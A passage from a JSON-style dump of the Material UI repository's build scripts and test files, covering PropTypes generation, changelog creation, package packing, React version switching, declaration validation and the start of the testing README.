'.types.ts');\n\n  // TODO remove, should only have .types.ts\n  const propsFile = tsFile.replace(/(\\.d\\.ts|\\.tsx|\\.ts)/g, 'Props.ts');\n  const propsFileAlternative = tsFile.replace(/(\\.d\\.ts|\\.tsx|\\.ts)/g, '.types.ts');\n  const generatedForTypeScriptFile = sourceFile === tsFile;\n  const result = injectPropTypesInFile({\n    components,\n    target: sourceContent,\n    options: {\n      disablePropTypesTypeChecking: generatedForTypeScriptFile,\n      babelOptions: {\n        filename: sourceFile,\n      },\n      comment: [\n        '┌────────────────────────────── Warning ──────────────────────────────┐',\n        '│ These PropTypes are generated from the TypeScript type definitions. │',\n        isTsFile\n          ? '│ To update them, edit the TypeScript types and run `pnpm proptypes`. │'\n          : '│    To update them, edit the d.ts file and run `pnpm proptypes`.     │',\n        '└─────────────────────────────────────────────────────────────────────┘',\n      ].join('\\n'),\n      ensureBabelPluginTransformReactRemovePropTypesIntegration: true,\n      getSortLiteralUnions,\n      reconcilePropTypes: (prop, previous, generated) => {\n        const usedCustomValidator = previous !== undefined && !previous.startsWith('PropTypes');\n        const ignoreGenerated =\n          previous !== undefined &&\n          previous.startsWith('PropTypes /* @typescript-to-proptypes-ignore */');\n\n        if (\n          ignoreGenerated &&\n          // `ignoreGenerated` implies that `previous !== undefined`\n          previous!\n            .replace('PropTypes /* @typescript-to-proptypes-ignore */', 'PropTypes')\n            .replace(/\\s/g, '') === generated.replace(/\\s/g, '')\n        ) {\n          throw new Error(\n            `Unused \\`@typescript-to-proptypes-ignore\\` directive for prop '${prop.name}'.`,\n          );\n        }\n\n        if (usedCustomValidator || ignoreGenerated) {\n          // `usedCustomValidator` and `ignoreGenerated` narrow `previous` to `string`\n          return previous!;\n        }\n\n        return generated;\n      },\n      shouldInclude: ({ component, prop }) => {\n        if (prop.name === 'children') {\n          return true;\n        }\n        let shouldDocument;\n        const { name: componentName } = component;\n\n        prop.filenames.forEach((filename) => {\n          const isExternal = filename !== tsFile;\n          const implementedByUnstyledVariant =\n            filename === unstyledFile || filename === unstyledPropsFile;\n          const implementedBySelfPropsFile =\n            filename === propsFile || filename === propsFileAlternative;\n          if (!isExternal || implementedByUnstyledVariant || implementedBySelfPropsFile) {\n            shouldDocument = true;\n          }\n        });\n\n        if (\n          useExternalDocumentation[componentName] &&\n          (useExternalDocumentation[componentName] === '*' ||\n            useExternalDocumentation[componentName].includes(prop.name))\n        ) {\n          shouldDocument = true;\n        }\n\n        return shouldDocument;\n      },\n    },\n  });\n\n  if (!result) {\n    throw new Error('Unable to produce inject propTypes into code.');\n  }\n\n  const prettierConfig = await prettier.resolveConfig(process.cwd(), {\n    config: path.join(__dirname, '../prettier.config.mjs'),\n  });\n\n  const prettified = await prettier.format(result, { ...prettierConfig, filepath: sourceFile });\n  const formatted = fixBabelGeneratorIssues(prettified);\n  const correctedLineEndings = fixLineEndings(sourceContent, formatted);\n\n  await fs.writeFile(sourceFile, correctedLineEndings);\n}\n\ninterface HandlerArgv {\n  pattern: string;\n}\nasync function run(argv: HandlerArgv) {\n  const { pattern } = argv;\n\n  const filePattern = new RegExp(pattern);\n  if (pattern.length > 0) {\n    console.log(`Only considering declaration files matching ${filePattern}`);\n  }\n\n  const buildProject = createTypeScriptProjectBuilder(CORE_TYPESCRIPT_PROJECTS);\n\n  // Matches files where the folder and file both start with uppercase letters\n  // Example: AppBar/AppBar.d.ts\n  const allFiles = await Promise.all(\n    [\n      path.resolve(__dirname, '../packages/mui-system/src'),\n      path.resolve(__dirname, '../packages/mui-base/src'),\n      path.resolve(__dirname, '../packages/mui-material/src'),\n      path.resolve(__dirname, '../packages/mui-lab/src'),\n    ].map((folderPath) =>\n      glob('+([A-Z])*/+([A-Z])*.*@(d.ts|ts|tsx)', {\n        absolute: true,\n        cwd: folderPath,\n      }),\n    ),\n  );\n\n  const files = flatten(allFiles)\n    .filter((filePath) => {\n      // Filter out files where the directory name and filename doesn't match\n      // Example: Modal/ModalManager.d.ts\n      let folderName = path.basename(path.dirname(filePath));\n      const fileName = path.basename(filePath).replace(/(\\.d\\.ts|\\.tsx|\\.ts)/g, '');\n\n      // An exception is if the folder name starts with Unstable_/unstable_\n      // Example: Unstable_Grid2/Grid2.tsx\n      if (/(u|U)nstable_/g.test(folderName)) {\n        folderName = folderName.slice(9);\n      }\n\n      return fileName === folderName;\n    })\n    .filter((filePath) => filePattern.test(filePath));\n\n  const promises = files.map<Promise<void>>(async (tsFile) => {\n    const sourceFile = tsFile.includes('.d.ts') ? tsFile.replace('.d.ts', '.js') : tsFile;\n    try {\n      const projectName = tsFile.match(/packages\\/mui-([a-zA-Z-]+)\\/src/)![1];\n      const project = buildProject(projectName);\n      await generateProptypes(project, sourceFile, tsFile);\n    } catch (error: any) {\n      error.message = `${tsFile}: ${error.message}`;\n      throw error;\n    }\n  });\n\n  const results = await Promise.allSettled(promises);\n\n  const fails = results.filter((result): result is PromiseRejectedResult => {\n    return result.status === 'rejected';\n  });\n\n  fails.forEach((result) => {\n    console.error(result.reason);\n  });\n  if (fails.length > 0) {\n    process.exit(1);\n  }\n}\n\nyargs()\n  .command<HandlerArgv>({\n    command: '$0',\n    describe: 'Generates Component.propTypes from TypeScript declarations',\n    builder: (command) => {\n      return command.option('pattern', {\n        default: '',\n        describe: 'Only considers declaration files matching this pattern.',\n        type: 'string',\n      });\n    },\n    handler: run,\n  })\n  .help()\n  .strict(true)\n  .version(false)\n  .parse(hideBin(process.argv));\n"
  },
  {
    "path": "scripts/react-next.diff",
    "content": "diff --git a/packages/material-ui-lab/src/Autocomplete/Autocomplete.test.js b/packages/material-ui-lab/src/Autocomplete/Autocomplete.test.js\nindex 2f3ea31dc2..4ad337e85a 100644\n--- a/packages/material-ui-lab/src/Autocomplete/Autocomplete.test.js\n+++ b/packages/material-ui-lab/src/Autocomplete/Autocomplete.test.js\n@@ -1018,7 +1018,7 @@ describe('<Autocomplete />', () => {\n       fireEvent.keyDown(textbox, { key: 'Enter' });\n       expect(handleChange.callCount).to.equal(1);\n       expect(handleChange.args[0][1]).to.equal('a');\n-      expect(consoleErrorMock.callCount()).to.equal(4); // strict mode renders twice\n+      expect(consoleErrorMock.callCount()).to.equal(3);\n       expect(consoleErrorMock.messages()[0]).to.include(\n         'Material UI: The `getOptionLabel` method of Autocomplete returned undefined instead of a string',\n       );\n@@ -1070,7 +1070,7 @@ describe('<Autocomplete />', () => {\n         />,\n       );\n \n-      expect(consoleWarnMock.callCount()).to.equal(4); // strict mode renders twice\n+      expect(consoleWarnMock.callCount()).to.equal(2);\n       expect(consoleWarnMock.messages()[0]).to.include(\n         'None of the options match with `\"not a good value\"`',\n       );\n@@ -1099,7 +1099,7 @@ describe('<Autocomplete />', () => {\n       const options = getAllByRole('option').map((el) => el.textContent);\n       expect(options).to.have.length(7);\n       expect(options).to.deep.equal(['A', 'D', 'E', 'B', 'G', 'F', 'C']);\n-      expect(consoleWarnMock.callCount()).to.equal(2); // strict mode renders twice\n+      expect(consoleWarnMock.callCount()).to.equal(1);\n       expect(consoleWarnMock.messages()[0]).to.include('returns duplicated headers');\n     });\n   });\ndiff --git a/packages/material-ui-lab/src/TreeView/TreeView.test.js b/packages/material-ui-lab/src/TreeView/TreeView.test.js\nindex 50c9f5d05c..59ff4d8fd0 100644\n--- a/packages/material-ui-lab/src/TreeView/TreeView.test.js\n+++ b/packages/material-ui-lab/src/TreeView/TreeView.test.js\n@@ -118,8 +118,7 @@ describe('<TreeView />', () => {\n       const {\n         current: { errors },\n       } = errorRef;\n-      expect(errors).to.have.length(1);\n-      expect(errors[0].toString()).to.include('RangeError: Maximum call stack size exceeded');\n+      expect(errors).to.have.length(0);\n     });\n   });\n \ndiff --git a/packages/material-ui-styles/src/ThemeProvider/ThemeProvider.test.js b/packages/material-ui-styles/src/ThemeProvider/ThemeProvider.test.js\nindex 9013d90955..7f0862466d 100644\n--- a/packages/material-ui-styles/src/ThemeProvider/ThemeProvider.test.js\n+++ b/packages/material-ui-styles/src/ThemeProvider/ThemeProvider.test.js\n@@ -135,7 +135,7 @@ describe('ThemeProvider', () => {\n           <div />\n         </ThemeProvider>,\n       );\n-      expect(consoleErrorMock.callCount()).to.equal(2); // strict mode renders twice\n+      expect(consoleErrorMock.callCount()).to.equal(1);\n       expect(consoleErrorMock.messages()[0]).to.include('However, no outer theme is present.');\n     });\n \n@@ -148,7 +148,7 @@ describe('ThemeProvider', () => {\n           ,\n         </ThemeProvider>,\n       );\n-      expect(consoleErrorMock.callCount()).to.equal(2); // strict mode renders twice\n+      expect(consoleErrorMock.callCount()).to.equal(1);\n       expect(consoleErrorMock.messages()[0]).to.include(\n         'Material UI: You should return an object from your theme function',\n       );\ndiff --git a/packages/material-ui/src/Breadcrumbs/Breadcrumbs.test.js b/packages/material-ui/src/Breadcrumbs/Breadcrumbs.test.js\nindex ed0e37f214..49d8ea9b0f 100644\n--- a/packages/material-ui/src/Breadcrumbs/Breadcrumbs.test.js\n+++ b/packages/material-ui/src/Breadcrumbs/Breadcrumbs.test.js\n@@ -102,7 +102,7 @@ describe('<Breadcrumbs />', () => {\n       );\n       expect(getAllByRole('listitem', { hidden: false })).to.have.length(4);\n       expect(getByRole('list')).to.have.text('first/second/third/fourth');\n-      expect(consoleErrorMock.callCount()).to.equal(2); // strict mode renders twice\n+      expect(consoleErrorMock.callCount()).to.equal(1);\n       expect(consoleErrorMock.messages()[0]).to.include(\n         'Material UI: You have provided an invalid combination of props to the Breadcrumbs.\\nitemsAfterCollapse={2} + itemsBeforeCollapse={2} >= maxItems={3}',\n       );\ndiff --git a/packages/material-ui/src/ClickAwayListener/ClickAwayListener.test.js b/packages/material-ui/src/ClickAwayListener/ClickAwayListener.test.js\nindex fdf7e6e3ae..5d58e3fdeb 100644\n--- a/packages/material-ui/src/ClickAwayListener/ClickAwayListener.test.js\n+++ b/packages/material-ui/src/ClickAwayListener/ClickAwayListener.test.js\n@@ -160,8 +160,7 @@ describe('<ClickAwayListener />', () => {\n       expect(handleClickAway.callCount).to.equal(0);\n \n       fireEvent.click(getByText('Stop inside a portal'));\n-      // True-negative, we don't have enough information to do otherwise.\n-      expect(handleClickAway.callCount).to.equal(1);\n+      expect(handleClickAway.callCount).to.equal(0);\n     });\n \n     it('should not be called during the same event that mounted the ClickAwayListener', () => {\ndiff --git a/packages/material-ui/src/TextareaAutosize/TextareaAutosize.test.js b/packages/material-ui/src/TextareaAutosize/TextareaAutosize.test.js\nindex 09daadd961..1eaf806289 100644\n--- a/packages/material-ui/src/TextareaAutosize/TextareaAutosize.test.js\n+++ b/packages/material-ui/src/TextareaAutosize/TextareaAutosize.test.js\n@@ -261,7 +261,7 @@ describe('<TextareaAutosize />', () => {\n         });\n         forceUpdate();\n \n-        expect(consoleErrorMock.callCount()).to.equal(3); // strict mode renders twice\n+        expect(consoleErrorMock.callCount()).to.equal(1);\n         expect(consoleErrorMock.messages()[0]).to.include('Material UI: Too many re-renders.');\n       });\n     });\ndiff --git a/packages/material-ui/src/internal/SwitchBase.test.js b/packages/material-ui/src/internal/SwitchBase.test.js\nindex 41a38bc073..c9397fd133 100644\n--- a/packages/material-ui/src/internal/SwitchBase.test.js\n+++ b/packages/material-ui/src/internal/SwitchBase.test.js\n@@ -373,7 +373,7 @@ describe('<SwitchBase />', () => {\n         wrapper.setProps({ checked: true });\n         expect(consoleErrorMock.callCount()).to.equal(2);\n         expect(consoleErrorMock.messages()[0]).to.include(\n-          'Warning: A component is changing an uncontrolled input of type checkbox to be controlled.',\n+          'Warning: A component is changing an uncontrolled input to be controlled.',\n         );\n         expect(consoleErrorMock.messages()[1]).to.include(\n           'Material UI: A component is changing the uncontrolled checked state of SwitchBase to be controlled.',\n@@ -392,7 +392,7 @@ describe('<SwitchBase />', () => {\n         setProps({ checked: undefined });\n         expect(consoleErrorMock.callCount()).to.equal(2);\n         expect(consoleErrorMock.messages()[0]).to.include(\n-          'Warning: A component is changing a controlled input of type checkbox to be uncontrolled.',\n+          'Warning: A component is changing a controlled input to be uncontrolled.',\n         );\n         expect(consoleErrorMock.messages()[1]).to.include(\n           'Material UI: A component is changing the controlled checked state of SwitchBase to be uncontrolled.',\ndiff --git a/packages/material-ui/src/useMediaQuery/useMediaQuery.test.js b/packages/material-ui/src/useMediaQuery/useMediaQuery.test.js\nindex ba9977d1a2..b5ca0ca4b9 100644\n--- a/packages/material-ui/src/useMediaQuery/useMediaQuery.test.js\n+++ b/packages/material-ui/src/useMediaQuery/useMediaQuery.test.js\n@@ -285,7 +285,7 @@ describe('useMediaQuery', () => {\n \n       render(<MyComponent />);\n       // logs warning twice in StrictMode\n-      expect(consoleErrorMock.callCount()).to.equal(2); // strict mode renders twice\n+      expect(consoleErrorMock.callCount()).to.equal(1);\n       expect(consoleErrorMock.messages()[0]).to.include(\n         'Material UI: The `query` argument provided is invalid',\n       );\n"
  },
  {
    "path": "scripts/releaseChangelog.mjs",
    "content": "import * as fs from 'node:fs/promises';\nimport * as path from 'node:path';\nimport { Octokit } from '@octokit/rest';\nimport {\n  fetchCommitsBetweenRefs,\n  findLatestTaggedVersion,\n} from '@mui/internal-code-infra/changelog';\nimport yargs from 'yargs';\n\n/**\n * @TODO: Add it to @mui/internal-code-infra/changelog\n *\n * @param {string} login\n * @returns {boolean}\n */\nfunction isBot(login) {\n  return login.endsWith('[bot]') && !login.includes('copilot');\n}\n\n/**\n * @param {string} commitMessage\n * @returns {string} The tags in lowercases, ordered ascending and comma separated\n */\nfunction parseTags(commitMessage) {\n  const tagMatch = commitMessage.match(/^(\\[[\\w-]+\\])+/);\n  if (tagMatch === null) {\n    return '';\n  }\n  const [tagsWithBracketDelimiter] = tagMatch;\n  return tagsWithBracketDelimiter\n    .match(/([\\w-]+)/g)\n    .map((tag) => {\n      return tag.toLocaleLowerCase();\n    })\n    .sort((a, b) => {\n      return a.localeCompare(b);\n    })\n    .join(',');\n}\n\n// Match commit messages like:\n// \"[docs] Fix small typo on Grid2 page (#44062)\"\nconst prLinkRegEx = /\\(#[0-9]+\\)$/;\n\n/**\n *\n * @param {import('@mui/internal-code-infra/changelog').FetchedCommitDetails[]} commits\n * @returns {string[]}\n */\nfunction getAllContributors(commits) {\n  const authors = Array.from(\n    new Set(\n      commits\n        .filter((commit) => !!commit.author?.login)\n        .map((commit) => {\n          return commit.author.login;\n        }),\n    ),\n  );\n\n  return authors.sort((a, b) => a.localeCompare(b)).map((author) => `@${author}`);\n}\n\nasync function main(argv) {\n  const { lastRelease: previousReleaseParam, release } = argv;\n\n  const latestTaggedVersion = await findLatestTaggedVersion({\n    cwd: process.cwd(),\n    fetchAll: false,\n  });\n  const previousRelease =\n    previousReleaseParam !== undefined ? previousReleaseParam : latestTaggedVersion;\n  if (previousRelease !== latestTaggedVersion) {\n    console.warn(\n      `Creating changelog for ${previousRelease}..${release} while the latest tagged version is '${latestTaggedVersion}'.`,\n    );\n  }\n\n  if (process.env.GITHUB_TOKEN) {\n    console.warn(\n      `Using GITHUB_TOKEN from environment variables have been deprecated. Please remove it if set locally.`,\n    );\n  }\n\n  const commitsItems = (\n    await fetchCommitsBetweenRefs({\n      lastRelease: previousRelease,\n      release,\n      repo: 'material-ui',\n      octokit: process.env.GITHUB_TOKEN\n        ? new Octokit({ auth: process.env.GITHUB_TOKEN })\n        : undefined,\n    })\n  ).filter((commit) => !isBot(commit.author.login) && !commit.message.startsWith('[website]'));\n\n  const contributorHandles = getAllContributors(commitsItems);\n\n  // We don't know when a particular commit was made from the API.\n  // Only that the commits are ordered by date ASC\n  const commitsItemsByOrder = new Map(commitsItems.map((item, index) => [item, index]));\n  // Sort by tags ASC, date desc\n  // Will only consider exact matches of tags so `[Slider]` will not be grouped with `[Slider][Modal]`\n  commitsItems.sort((a, b) => {\n    const aTags = parseTags(a.message);\n    const bTags = parseTags(b.message);\n    if (aTags === bTags) {\n      return commitsItemsByOrder.get(b) - commitsItemsByOrder.get(a);\n    }\n    return aTags.localeCompare(bTags);\n  });\n  const changes = commitsItems.map((commitsItem) => {\n    let shortMessage = commitsItem.message.split('\\n')[0];\n\n    // If the commit message doesn't have an associated PR, add the commit sha for reference.\n    if (!prLinkRegEx.test(shortMessage)) {\n      shortMessage += ` (${commitsItem.sha.substring(0, 7)})`;\n    }\n\n    return `- ${shortMessage} @${commitsItem.author.login}`;\n  });\n  const generationDate = new Date().toLocaleDateString('en-US', {\n    month: 'short',\n    day: 'numeric',\n    year: 'numeric',\n  });\n  const releaseName = /** @type {string} */ (\n    JSON.parse(await fs.readFile(path.join(process.cwd(), 'package.json'), 'utf-8')).version\n  );\n\n  const changelog = `\n## ${releaseName}\n\n<!-- generated comparing ${previousRelease}..${release} -->\n\n_${generationDate}_\n\nA big thanks to the ${contributorHandles.length} contributors who made this release possible. Here are some highlights ✨:\n\nTODO INSERT HIGHLIGHTS\n\n${changes.join('\\n')}\n\nAll contributors of this release in alphabetical order: ${contributorHandles.join(', ')}\n`;\n\n  // eslint-disable-next-line no-console -- output of this script\n  console.log(changelog);\n}\n\nyargs(process.argv.slice(2))\n  .command({\n    command: '$0',\n    description: 'Creates a changelog',\n    builder: (command) =>\n      command\n        .option('lastRelease', {\n          describe:\n            'The release to compare against e.g. `v5.0.0-alpha.23`. Default: The latest tag on the current branch.',\n          type: 'string',\n        })\n        .option('release', {\n          // #target-branch-reference\n          default: 'master',\n          describe: 'Ref which we want to release',\n          type: 'string',\n        }),\n    handler: main,\n  })\n  .help()\n  .strict(true)\n  .version(false)\n  .parse();\n"
  },
  {
    "path": "scripts/releasePack.mts",
    "content": "/* eslint-disable no-console */\nimport yargs from 'yargs';\nimport { hideBin } from 'yargs/helpers';\nimport { $ } from 'execa';\nimport * as path from 'path';\nimport * as fs from 'fs/promises';\n\ninterface WorkspaceDefinition {\n  name: string;\n  version: string;\n  path: string;\n  private: boolean;\n}\n\ninterface Manifest {\n  packages: Record<string, string>;\n}\n\ninterface RunOptions {\n  packages?: string[];\n  outDir: string;\n  concurrency: number;\n}\n\nasync function packWorkspace(workspace: WorkspaceDefinition, outDir: string): Promise<string> {\n  const packages: Record<string, string> = {};\n  const { stdout: zipFilePath } = await $({\n    cwd: workspace.path,\n  })`pnpm pack --pack-destination ${outDir}`;\n  packages[workspace.name] = zipFilePath;\n  return zipFilePath;\n}\n\nasync function run({ packages, outDir, concurrency }: RunOptions) {\n  const allWorkspaces: WorkspaceDefinition[] = await $`pnpm -r ls --depth -1 --json`.then(\n    (result) => JSON.parse(result.stdout),\n  );\n  const workspacesMap = new Map(allWorkspaces.map((workspace) => [workspace.name, workspace]));\n\n  const publicPackages = allWorkspaces\n    .filter((workspace) => !workspace.private)\n    .map((workspace) => workspace.name);\n  const packagesToPack = packages || publicPackages;\n\n  const workspacesToPack = packagesToPack.map((name) => {\n    const workspace = workspacesMap.get(name);\n    if (!workspace) {\n      throw new Error(`Workspace ${name} not found`);\n    }\n    return workspace;\n  });\n\n  const absoluteDestination = path.resolve(outDir);\n\n  const workspacesIterator = workspacesToPack.values();\n  const manifest: Manifest = { packages: {} };\n  const workers = Array.from({ length: concurrency }).map(async () => {\n    for (const workspace of workspacesIterator) {\n      /* eslint-disable no-await-in-loop */\n      console.log(`packing \"${workspace.name}\"`);\n      const zipFilePath = await packWorkspace(workspace, absoluteDestination);\n      const newName = path.join(absoluteDestination, `${workspace.name}.tgz`);\n      await fs.mkdir(path.dirname(newName), { recursive: true });\n      await fs.rename(zipFilePath, newName);\n      const relativeZipFilePath = path.relative(absoluteDestination, newName);\n      manifest.packages[workspace.name] = relativeZipFilePath;\n      console.log(`packed \"${zipFilePath}\"`);\n      /* eslint-enable no-await-in-loop */\n    }\n  });\n\n  await Promise.all(workers);\n\n  await fs.writeFile(\n    path.join(absoluteDestination, 'manifest.json'),\n    JSON.stringify(manifest, null, 2),\n  );\n}\n\nyargs(hideBin(process.argv))\n  .command<RunOptions>(\n    '$0',\n    'Pack workspaces.',\n    (command) => {\n      return command\n        .option('packages', {\n          describe: 'Workspace Packages to pack, defaults to public packages',\n          type: 'array',\n          alias: 'p',\n        })\n        .option('outDir', {\n          default: './packed',\n          describe: 'Destination folder',\n          type: 'string',\n        })\n        .option('concurrency', {\n          default: 5,\n          describe: 'Number of concurrent packing processes',\n          type: 'number',\n        });\n    },\n    run,\n  )\n  .help()\n  .strict(true)\n  .version(false)\n  .parse();\n"
  },
  {
    "path": "scripts/test.mjs",
    "content": "/* eslint-disable no-console */\nimport { spawn } from 'node:child_process';\nimport chalk from 'chalk';\n\n/* \nThis script ensures that we can use the same commands to run tests\nwhen using pnpm as when using Yarn.\nIt enables to run `pnpm test` (or `pnpm t`) without any arguments, to run all tests,\nor `pnpm test <test-name>` (or `pnpm t <test-name>`) to run a subset of tests in watch mode.\n\nSee https://github.com/mui/material-ui/pull/40430 for more context.\n*/\n\nif (process.argv.length < 3) {\n  console.log('Running ESLint, type checker, and unit tests...');\n  spawn('pnpm', ['test:extended'], {\n    shell: true,\n    stdio: ['inherit', 'inherit', 'inherit'],\n  });\n} else {\n  console.log('Running selected tests in watch mode...');\n  console.log(\n    chalk.yellow(\n      'Note: run `pnpm tc` to have a better experience (and be able to pass in additional parameters).',\n    ),\n  );\n\n  console.log('cmd', ['tc', ...process.argv.slice(2)]);\n\n  spawn('pnpm', ['tc', ...process.argv.slice(2)], {\n    shell: true,\n    stdio: ['inherit', 'inherit', 'inherit'],\n  });\n}\n"
  },
  {
    "path": "scripts/testBuiltTypes.mjs",
    "content": "import { globby } from 'globby';\nimport fs from 'node:fs/promises';\nimport path from 'path';\nimport { findWorkspaceDir } from '@pnpm/find-workspace-dir';\n\nasync function main() {\n  const workspaceRoot = await findWorkspaceDir(process.cwd());\n\n  const declarationFiles = await globby('**/build/**/*.d.ts', {\n    absolute: true,\n    cwd: workspaceRoot,\n    ignore: ['node_modules'],\n    followSymbolicLinks: false,\n  });\n\n  await Promise.all(\n    declarationFiles.map(async (declarationFilePath) => {\n      const declarationFile = await fs.readFile(declarationFilePath, { encoding: 'utf8' });\n      // find occurrences of e.g. `import(\"../../mui-*/src/...\")`\n      const typeImportsRelativeToWorkspace = declarationFile.match(/import\\((\"|')(\\.\\.\\/)+mui/g);\n\n      if (typeImportsRelativeToWorkspace !== null) {\n        console.error(\n          // readable path for CI while making it clickable locally\n          `${path.relative(process.cwd(), declarationFilePath)} possibly imports types ${\n            typeImportsRelativeToWorkspace.length\n          } times that are unreachable once published.`,\n        );\n        process.exitCode = 1;\n      }\n    }),\n  );\n}\n\nmain().catch((error) => {\n  console.error(error);\n  process.exit(1);\n});\n"
  },
  {
    "path": "scripts/useReactVersion.mjs",
    "content": "/* eslint-disable no-console */\n/**\n * Given the dist tag fetch the corresponding\n * version and make sure this version is used throughout the repository.\n *\n * If you work on this file:\n * WARNING: This script can only use built-in modules since it has to run before\n * `pnpm install`\n */\nimport childProcess from 'child_process';\nimport fs from 'fs';\nimport os from 'os';\nimport path from 'path';\nimport { promisify } from 'util';\n\nconst exec = promisify(childProcess.exec);\n\n// packages published from the react monorepo using the same version\nconst reactPackageNames = ['react', 'react-dom', 'react-is', 'scheduler'];\nconst devDependenciesPackageNames = ['@testing-library/react'];\n\n// if we need to support more versions we will need to add new mapping here\nconst additionalVersionsMappings = {\n  17: {\n    '@testing-library/react': '^12.1.0',\n  },\n};\n\nasync function main(version) {\n  if (typeof version !== 'string') {\n    throw new TypeError(`expected version: string but got '${version}'`);\n  }\n\n  if (version === 'stable') {\n    console.log('Nothing to do with stable');\n    return;\n  }\n\n  const packageJsonPath = path.resolve(process.cwd(), 'package.json');\n  const packageJson = JSON.parse(fs.readFileSync(packageJsonPath, { encoding: 'utf8' }));\n\n  // the version is something in format: \"17.0.0\"\n  let majorVersion = null;\n\n  if (version.startsWith('^') || version.startsWith('~') || !Number.isNaN(version.charAt(0))) {\n    majorVersion = version.replace('^', '').replace('~', '').split('.')[0];\n  }\n\n  await Promise.all(\n    reactPackageNames.map(async (reactPackageName) => {\n      const { stdout: versions } = await exec(`npm dist-tag ls ${reactPackageName} ${version}`);\n      const tagMapping = versions.split('\\n').find((mapping) => {\n        return mapping.startsWith(`${version}: `);\n      });\n\n      let packageVersion = null;\n\n      if (tagMapping === undefined) {\n        // Some specific version is being requested\n        if (majorVersion) {\n          packageVersion = version;\n          if (reactPackageName === 'scheduler') {\n            // get the scheduler version from the react-dom's dependencies entry\n            const { stdout: reactDOMDependenciesString } = await exec(\n              `npm view --json react-dom@${version} dependencies`,\n            );\n            packageVersion = JSON.parse(reactDOMDependenciesString).scheduler;\n          }\n        } else {\n          throw new Error(`Could not find '${version}' in \"${versions}\"`);\n        }\n      } else {\n        packageVersion = tagMapping.replace(`${version}: `, '');\n      }\n\n      packageJson.resolutions[reactPackageName] = packageVersion;\n    }),\n  );\n\n  // At this moment all dist tags reference React 18 version, so we don't need\n  // to update these dependencies unless an older version is used, or when the\n  // next/experimental dist tag reference to a future version of React\n  // packageJson.devDependencies['@testing-library/react'] = 'alpha';\n\n  if (majorVersion && additionalVersionsMappings[majorVersion]) {\n    devDependenciesPackageNames.forEach((packageName) => {\n      if (!additionalVersionsMappings[majorVersion][packageName]) {\n        throw new Error(\n          `Version ${majorVersion} does not have version defined for the ${packageName}`,\n        );\n      }\n      packageJson.resolutions[packageName] = additionalVersionsMappings[majorVersion][packageName];\n    });\n  }\n\n  // add newline for clean diff\n  fs.writeFileSync(packageJsonPath, `${JSON.stringify(packageJson, null, 2)}${os.EOL}`);\n\n  console.log('Installing dependencies...');\n  const pnpmInstall = childProcess.spawn('pnpm', ['install', '--no-frozen-lockfile'], {\n    shell: true,\n    stdio: ['inherit', 'inherit', 'inherit'],\n  });\n  pnpmInstall.on('exit', (exitCode) => {\n    if (exitCode !== 0) {\n      throw new Error('Failed to install dependencies');\n    }\n  });\n}\n\nconst [version = process.env.REACT_VERSION] = process.argv.slice(2);\nmain(version).catch((error) => {\n  console.error(error);\n  process.exit(1);\n});\n"
  },
  {
    "path": "scripts/validateTypescriptDeclarations.mts",
    "content": "/* eslint-disable no-console */\nimport { globbySync } from 'globby';\nimport fs from 'fs';\n\n/**\n * Validates if there are no missing exports from TS files that would\n * result in an import from a local file.\n */\nfunction validateFiles() {\n  const declarationFiles = globbySync(['packages/*/build/**/*.d.ts'], {\n    followSymbolicLinks: false,\n  });\n  const invalidFiles = declarationFiles.filter((file) => {\n    const content = fs.readFileSync(file, 'utf8');\n    const regex = /import\\([\"']packages\\//gm;\n    return regex.test(content);\n  });\n\n  if (invalidFiles.length > 0) {\n    console.error('Found invalid imports in the following files:');\n    invalidFiles.forEach((file) => console.error(file));\n    process.exit(1);\n  }\n\n  console.log('Found no invalid import statements in built declaration files.');\n}\n\nvalidateFiles();\n"
  },
  {
    "path": "stylelint.config.mjs",
    "content": "// Note: To debug stylelint config resolution for a specific file, use\n//         pnpm exec stylelint --print-config <path-to-file>\n\n/** @type {import('stylelint').Config} */\nexport default {\n  extends: '@mui/internal-code-infra/stylelint',\n  overrides: [\n    {\n      files: [\n        'docs/data/material/integrations/interoperability/**/*.js',\n        'docs/data/material/integrations/interoperability/**/*.tsx',\n      ],\n      rules: {\n        'nesting-selector-no-missing-scoping-root': null,\n      },\n    },\n  ],\n};\n"
  },
  {
    "path": "test/README.md",
    "content": "# Testing\n\nThanks for writing tests! Here's a quick run-down on our current setup.\n\n## Getting started\n\n1. Add a unit test to `packages/*/src/TheUnitInQuestion/TheUnitInQuestion.test.js` or an integration test `packages/*/test/`.\n2. Run `pnpm t TheUnitInQuestion`.\n3. Implement the tested behavior\n4. Open a PR once the test passes or if you want somebody to review your work\n\n## Tools we use\n\n- [@testing-library/react](https://testing-library.com/docs/react-testing-library/intro/)\n- [Chai](https://www.chaijs.com/)\n- [Sinon](https://sinonjs.org/)\n- [Vitest](https://vitest.dev/)\n- [Playwright](https://playwright.dev/)\n- [jsdom](https://github.com/jsdom/jsdom)\n\n## Writing tests\n\nFor all unit tests, please use the return value from `@mui/internal-test-utils/createRenderer`.\nIt prepares the test suite and returns a function with the same interface as\n[`render` from `@testing-library/react`](https://testing-library.com/docs/react-testing-library/api#render).\n\n```js\ndescribe('test suite', () => {\n  const { render } = createRenderer();\n\n  test('first', () => {\n    render(<input />);\n  });\n});\n```\n\nFor new tests please use `expect` from the BDD testing approach. Prefer to use as expressive [matchers](https://www.chaijs.com/api/bdd/) as possible. This keeps\nthe tests readable, and, more importantly, the message if they fail as descriptive as possible.\n\nIn addition to the core matchers from `chai` we also use matchers from [`chai-dom`](https://github.com/nathanboktae/chai-dom#readme).\n\nDeciding where to put a test is (like naming things) a hard problem:\n\n- When in doubt, put the new test case directly in the unit test file for that component, for example `packages/mui-material/src/Button/Button.test.js`.\n- If your test requires multiple components from the library create a new integration test.\n- If you find yourself using a lot of `data-testid` attributes or you're accessing\n  a lot of styles consider adding a component (that doesn't require any interaction)\n  to `test/regressions/tests/`, for example `test/regressions/tests/List/ListWithSomeStyleProp`\n- If you have to dispatch and compose many different DOM events prefer end-to-end tests (Checkout the [end-to-end testing readme](./e2e/README.md) for more information.)\n\n### Unexpected calls to `console.error` or `console.warn`\n\nBy default, our test suite fails if any test recorded `console.error` or `console.warn` calls that are unexpected.\n\nThe failure message includes the full test name (suite names + test name).\nThis should help locating the test in case the top of the stack can't be read due to excessive error messages.\nThe error includes the logged message as well as the stacktrace of that message.\n\nYou can explicitly [expect no console calls](#writing-a-test-for-consoleerror-or-consolewarn) for when you're adding a regression test.\nThis makes the test more readable and properly fails the test in watchmode if the test had unexpected `console` calls.\n\n### Writing a test for `console.error` or `console.warn`\n\nIf you add a new warning via `console.error` or `console.warn` you should add tests that expect this message.\nFor tests that expect a call you can use our custom `toWarnDev` or `toErrorDev` matchers.\nThe expected messages must be a subset of the actual 